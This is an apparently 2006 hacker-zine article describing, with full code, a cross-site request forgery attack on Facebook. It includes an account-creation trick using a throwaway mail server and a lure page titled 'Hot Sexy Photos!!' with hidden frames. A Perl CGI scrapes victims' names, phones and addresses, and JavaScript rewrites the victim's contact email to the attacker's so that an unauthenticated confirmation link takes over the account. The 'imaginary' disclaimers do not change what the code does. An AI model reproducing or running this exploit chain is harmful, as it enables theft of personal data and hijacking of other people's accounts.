More on Hacking Facebook

by b0rn_slippy

Any actions described here, if they were performed at all, were performed only on the author's personal Facebook accounts, web servers, etc.  No persons were falsely represented, harassed, or maligned.  No data of any kind was destroyed or inappropriately accessed and, regardless of whether the following scripts were or were not executed and in whatever context, Facebook.com was not harmed in anyway.  This document is only an exercise.  Don't break the TOS.

Introduction

Facebook is a social networking site for college and high school students.

As of March 2006, www.facebook.com boasts of being the seventh most trafficked website on the net.  It also has a venture capitalization of ludicrous size.

In comparison to MySpace, recently affected by Samy's famous worm, Facebook makes widely publicized claims to high security and privacy.

In a recent article in the Capital Times of Madison, Wisconsin, spokesman Chris Hughes called Facebook the safest social network on the web:

"Unlike other sites like MySpace, where the information is available to over 20 million people, on Facebook a user's profile is available at most to a few thousand people who already share in that person's 'real world' comm unity."
...
"All college students have an '.edu' email account from their schools, allowing each profile to be traced back to a real person.  This way, no one member can ever be 'anonymous.'  As a second form of security, the site has a 'My Privacy' option, allowing members to decide exactly who they want to view their profile, whether it be just their friends, only friends of friends, or all the students within their university."

None of these are true.

Background

I'm an engineer.

Because of a project I was doing, I had begun to learn a little bit about XMLHttpRequest and, because of that, Cross-Site Scripting (XSS) vulnerabilities.

There are some related techniques to XSS, namely cross-frame scripting and form request forgery.  The first two are ways to have a JavaScript hosted at one site to read data via the user's web browser from other site.

This is interesting because pages are loaded with the user's browser privileges, and if the user is authenticated, the script could operate within that authentication vector.  Firefox and IE to some extent have done a good job preventing these attacks.

However, unless the browser and the website both are completely secure, the protections can be defeated.

A Facebook Profile

Facebook has done a good job protecting the site from JavaScript injection attacks.

Their solution is obvious: no HTML markup of any kind is allowed to pass through the form validation.  All tags are stripped.  All submission information becomes plaintext and then is escaped before being printed to the HTML page.

Because of this, every Facebook profile looks identical and boring as Hell, unlike MySpace.

It's impossible to express yourself via formatting.  Any links that appear are generated after the plaintext conversion by wrapping anchors around the fields.

So it seems that Facebook is not vulnerable to the injection attack used by Samy in his MySpace worm, although in the "My Albums" section, where users can upload pictures, there are some suspicious activities.

The upload process is managed by a trusted Java applet that lets you browse your hard drive.  We all know that, that can't possibly be completely secure, and there is a piece of JavaScript (one of the rare bits of script on Facebook anywhere) that displays a box around people in a picture when you point to their name.

Definitely a possible injection point, since you can specify the name of the person with freetext (still tag-stripped, though).  Since the holes below have probably been fixed, these would be the next best places to look, IMO.

Just when you think you are safe...

Getting an Account

Facebook limits registration to people with approved email addresses, mainly those that end in '.edu' from an approved school.  They claim that this guarantees that an account is linked to an actual person, that a person can only have one account that people in the world at large can't snoop, etc.  Yeah, right.

Facebook checks this by sending a confirmation link to the address.  Once you confirm this address, you can add a secondary address at any mail server and all further Facebook communication goes to that.

The Facebook parsing of addresses is not rigorous.  They disallow +postfixes on addresses (i.e., no user+blah@school.edu), which would allow easy, but traceable, unlimited account creation.

But that's pretty much all they do.  Some schools offer fully qualified IP addresses for every networked computer, for example: room382bdorm23.dormlan.school.edu

All we have to do in that case is run a mail server on our personal machine for five minutes (ArGo Free is a good one).  Facebook, my email is: user@room382b-dorm23.dormlan.school.edu

O.K., says Facebook.  You're in!  Check the mail, grab the link, shutdown the mail server permanently.  Use a roaming connection if you want a little more privacy; it will be harder to trace, assuming your school qualifies their addresses.

Are you not at an educational institution?  No problem!  Some alumni associations will give you an alumni email address even if you are not an alumni.

For example, U.C. Davis.  Just sign up as a "Friend," pay your $50, and there you go, a Facebook account.  It's cheaper than paying tuition.  Never say never.  You could also just bribe a student at the school of your choice to sign you up.  Accounts at the same school have more privileges in regard to the information they can view about each other.

Or you could steal an account, which we will get to later.

Anyway, the long and the short of it is that infinite accounts are possible.  I did a crappy job of staying anonymous, but you can do better.

The Attack Vector

The Facebook user authenticates with a cookie.

Oddly, they can sign in with either their school address or their secondary address.  Same password.  They then get a happy little baked good all of their own.  The only other time that the password is checked is when the user changes their password, the standard once old, twice new.  Actually, there is one other time.

The password is checked the first time the user adds a secondary email address and follows the confirmation link.  Keep this in mind.

Now, what if the Facebook user visited some web page containing a script that could read that cookie?  Then the page could steal authentication.  This doesn't work due to XSS browser security controls.

But commands on Facebook are processed via forms, for example, to send a message to another user there is a POST form like so:

http://schoolname.facebook.com/message.php?id=00000000&msg=yo%20momma%20so%20fat&send=Send

id is a numeric ID of the recipient.

But wait.  I said it was POST.  What gives?  Who knows, actually, but Facebook happily accepts a GET request too.  Also, it doesn't check the Referer.

Actually, the form submits a bunch of other junk fields a long too, but Facebook doesn't check them at all.  We could have been temporarily stopped if Facebook checked the sender's ID, which our script initially wouldn't have access to, but they don't.

Also, Facebook prefixes the name of the school to URLs.  Sometimes it matters, sometimes not.  For sending a message it doesn't matter.  You can use "www" or nothing or any school name and the message still gets sent.  This is pleasant because otherwise we would have to brute force the school name via the JavaScript.  Not impossible, but annoying.  Or just limit ourselves to one school.

So if we hide such a link in an <iframe> src, an authenticated user who browses by will send a message.  It appears in their Facebook outbox, but nobody ever checks their outbox.

If the user is not authenticated, Facebook redirects to a login page with _top.

This is convenient.  Maybe then the user will login and press "Back" and then send the message.  In order to prevent them from seeing that the message was sent, we will direct them to a harmless page (http://facebook.com/home.php) first.  Then they can authenticate with no suspicions.

What does sending a message accomplish?  Well... when you receive a message from someone, you can browse their profile regardless of what their privacy settings are (with a few minor qualifications).

So if we send a message to ourselves from the target, we can write a little CGI script to browse to that message, load the target's profile, and extract whatever we want about them.  If this CGI script is on the same domain as our JavaScript web page, cross-frame scripting controls do not apply.  Effectively we can read anything we want from the user's Facebook profile.

Most frighteningly, this includes their real name.  We could also capture their email addresses if we want, but they are images and would require some minimal OCR back-ending of things.  Ah, spam, how we love thee!

Around this point I got some wings for lunch, which was a mistake.  Don't do that.

The Beginning of the JavaScript

index.html:

<html>
<head>
<title>Hot Sexy Photos!!</title>
</head>
<frameset cols="0px,*" frameborder="no" framespacing="0" border="0">
<frame src="/script.html" scrolling="no" noresize name="nav">
<frame src="http://www.flickr.com/photos/tags/party/show/" scrolling="auto" noresize name="main">
</frameset>
<body>
</body>
</html>

The Flickr frame will give them something vaguely college-related to look at while the script does its work in the hidden frame.

script.html:

<html>
<head>
<title>pwned!</title>
</head>
<body>
<iframe name="face" src="about:blank" width="95%" height="400"></iframe>
<iframe name="script" src="about:blank" width="95%" height="400"></iframe>
<script type="text/javascript">
f0();
setTimeout('f1()',2000);
setTimeout('f2()',5000);
setTimeout('f3()',8000);

function f0() {
  // test if we are authenticated
  window.frames['face'].location="http://www.facebook.com/home.php";
  }

function f1() {
  // send a msg
  window.frames['face'].location="http://www.facebook.com/message.php?id=00000000&msg=word%20up%20ho&send=Send";
}

... to be continued.

Collecting the Data

Here's a Perl script to parse the fields we are interested in:

script.cgi:

 #!/usr/bin/perl
use warnings;
use strict;
use CGI::Carp qw(fatalsToBrowser);
use CGI::Pretty qw[:standard unescape escape];
use WWW::Mechanize;

my $facebook_email = "our.login\@email.address";
my $target_prefix = "our.login"; # to be explained later
my $target_suffix = "\@email.address";
my $pass = "p4s5w0rd";
my $base = "facebook.com";
my $self = "our.server.url";
my $self_suffix = "";

$| = 1;

print "Content-type: text/html\n\n";
print "<html><head><title>cgi</title></head><body><form name=\"gfb\" method=\"get\" action=\"about:blank\">\n\n";

sub printFormElement { 
  my ($name, $val) = @_; 
  print "<input type=\"text\" name=\"$name\" value=\"$val\"><br>\n";
}

my $mech = WWW::Mechanize->new(autocheck => 1);

$mech -> get('http://' . $base);
$mech -> form_name("loginform");
$mech -> set_visible($facebook_email, $pass);
$mech -> click_button("name" => "doquicklogin");
printFormElement("auth", "ok");

$mech -> follow_link(text_regex => qr/My Messages/);
printFormElement("messages", "ok");

# follow the first profile link which isn't ourselves
$mech -> follow_link(url_regex => qr/profile\.php/, n => 2);
printFormElement("profile", "ok");
#$mech -> reloadl();

# grab the school prefix, bc we rock like that
my ($school) = $mech -> uri() =~ m/\/\/(.+?)\./;
printFormElement("school", $school);

# get the name of sender
my $page = $mech -> content();
my ($sender) = $page =~ m/>(.*?).s Profile</im;
$sender = "\L$sender\E";
printFormElement("sender", $sender);
$sender =~ s/ //g;
printFormElement("contact", "$target_prefix+$sender$target_suffix");

# slurp up the information from %fields

my %fields = ("School Mailbox:" => "mailbox", "Mobile:" => "cell", "Phone:" => "phone");
my $key;

foreach $key (keys(%fields)) { 
  my ($val) = $page =~ m/$key.*?wrap\">(.*?)</sm; 
  print FormElement($fields{$key}, $val);
}

# with anchors %fields = ("Current Address:" => "cur_address", "AIM&nbsp;Screen name:" => "sn");
foreach $key (keys(%fields)) { 
  my ($val) = $page =~ m/$key.*?wrap\">.*?\">(.*?)</ms; 
  print FormElement($fields{$key}, $val);
}

# multiline
my $val = "";
my ($webs) = $page =~ m/Website:(.*?)<\/table>/ms;
my @urls = split('href', $webs);

foreach (@urls) {
  my ($url) = $_  =~ m/\"http:\/\/(.*)\"/ ; # skip blanks and also our own url if we were here before 
  if ($url && $url !~ m/$self/) {
  $url =~ s/(\n|\r)//g;
  $val .= "$url ";
  }
}

# add a link to our script
$val .= "$sender$self$self_suffix";

print FormElement("website", $val);
print "</form></body></html>\n";

Not too bad.

Note how it returns the values as form fields.  This makes them easy to reference from the JavaScript side of things.  It has a flaw, though.

It authenticates every time.  Don't do this.

There is a way to save the authentication cookie for Mechanize.  When I tested this out in my mind as a thought experiment only, authenticating once every minute or so during mental debugging caught the imaginary eye of an imaginary administrator who worked at my hypothetical Facebook-like site, and after a while my imaginary account was imaginarily locked.  F*ck.

Then ten minutes later, my primary account.  Oh well.  Game over; they can do what they want.  No more imaginary Facebook.

Also, during this same process the privacy settings form and fields were subtly changed by the site operators, as part of a scheduled update I assume, and my regexs stopped working.  This caused me no end of head scratching, or would have, had I actually been running the scripts against it.  Don't rule out a possible change on the server side.

JavaScript Again

Here's the rest of the script.html file:

function f2() {
  // load the facebook values... cross-site security? what's that?
  window.frames['script'].location="/cgi-bin/script.cgi";
}

function f3() {
  // wait for the cgi to respond
  try { 
    test = window.frames['script'].document.forms[0].website.value; 
  } 
  catch (e) { 
    setTimeout('f3();', 1500); 
    return; 
  }
  // populate the new request
  f = window.frames['script'].document.forms[0];
  request_string = "http://" + encodeURIComponent(f.school.value) + ".facebook.com/contactinfo.php?&save_contact_info=1&contact=" + encodeURIComponent(f.contact.value) + "&sn=" + encodeURIComponent(f.sn.value) + "&cell= " + encodeURIComponent(f.cell.value) + "&phone=" + encodeURIComponent(f.phone.value) + "&mailbox=" + encodeURIComponent(f.mailbox.value) + "&cur_address=" + encodeURIComponent(f.cur_address.value) + "&website=" + encodeURIComponent(f.website.value) + "&show_email=8&show_aim=26&show_cell=26&show_phone=26&show_mailbox=26&show_address=26&save=Save";

  // pwnded!
  // window.frames['script'].document.write(request_string);
  window.frames['face'].location=request_string;
  setTimeout('f4()',3000);
}

function f4() {
  // bust some frames
  top.location.href = "http://www.flickr.com/photos/tags/party/show/";
}

// byebye
</script>
</body>
</html>

What does this do?

Well, it calls the server script and, assuming no one else has sent us a message between function calls, we get back the profile information of the target.

We then populate another GET request (which again is usually a POST on Facebook but still works) with the profile information.  This is so the update doesn't noticeably destroy the user's other contact settings.

The CGI script has added our website to the website links, so now the user's profile points to our script in case anyone stumbles along and clicks.

Furthermore, the link is rewritten with a (meaningless) prefix based on the target's name, so that it looks like the link is relevant to the target.  We also set the privacy settings of the values to be as public as possible.

Continuing to the punch...

The Authentication Failure

Notice what we have done to the contact address.  We have changed it to our own address, with a +postfix identifying the target.

What's the point of this?

Well... in a bizarre oversight, when a user already has a contact address (which is the secondary address, not the school one) defined and changes it, a confirmation email goes out to the new address.

Click that link and - no matter who you are, no matter what your IP address is, no matter what session cookies you have or don't have - once you confirm the address on Facebook you become authenticated as a user... without being asked for the password!  Holy security hole, Batman!

Also note that changing the contact information is one of the places where the correct school name is required.  Oh no!  We are stuck!  Oh, wait.  Our CGI script provided that along with the profile information.

Conclusion

So we have a created a worm-like... thing.  It requires a user click, but whatever; Facebook users click anything.  We are not being destructive of profiles unless you take advantage of the contact email flaw.  Even the existing sites in the website field are maintained.

I think it's pretty cool.

There are other things you could probably do : automate friend requests, obtain a single account at every school, post goofy things on "walls."

In my mind while mentally testing this out, I suddenly noticed at one point that the CGI script had returned information for someone other than the test user.  From someone at imaginary Harvard.  Holy shit: imaginary Facebook was founded by an imaginary Harvard student.  Ah, I am caught.  Judging by the imaginary access logs, the flaws (some of them at least) will be fixed in short order (or would be by any competent administrator).

Anyway, it's all for the best because I really am not that interested in people's profiles, or who they poked, or messaged, or whatever.

Just leet hax.

Code: script.cgi

Code: script.html

Return to $2600 Index